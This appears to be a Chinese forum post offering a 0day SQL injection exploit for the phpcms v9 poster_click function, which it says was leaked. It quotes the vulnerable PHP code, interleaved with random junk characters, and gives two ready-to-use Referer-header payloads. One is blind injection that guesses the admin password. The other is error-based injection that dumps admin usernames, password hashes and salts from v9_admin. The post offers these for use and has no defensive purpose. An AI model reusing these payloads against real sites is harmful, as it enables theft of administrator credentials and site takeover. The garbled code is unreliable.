phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
: [5 n0 z9 O9 H; a* T/ g: ~3 G* @
# r- H$ Q# O3 D$ |9 Qpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
/ x, D# W- w; R/ w2 c- |if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
. v. G5 p: G, V$ip = ip();
. x, F2 t& `, k$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
/ ~$ [, Y2 U% c3 `# ~0 s: ^3 U4 yif($id) {
. k3 L1 r: [" f, f) h$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
; r) u: ?4 k4 Z5 B% I2 u  m8 |/ Z$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
+ w6 N1 x3 z: I  \; |) z$ z} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}
' Y& h  o% B$ C0 X2 e


利用方式：

- {! F) L$ Q& G+ _" ]' u1、可以采用盲注入的手法：
. c3 {% `4 P' }4 _/ U
# Q, Q" U9 f& F+ k- |$ z. oreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。
, N7 I" t2 q0 m5 p; e0 p  L
2、代码是花开写的，随手附上了：

5 P3 ?1 y+ z; q! H! W( Y- O7 C1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
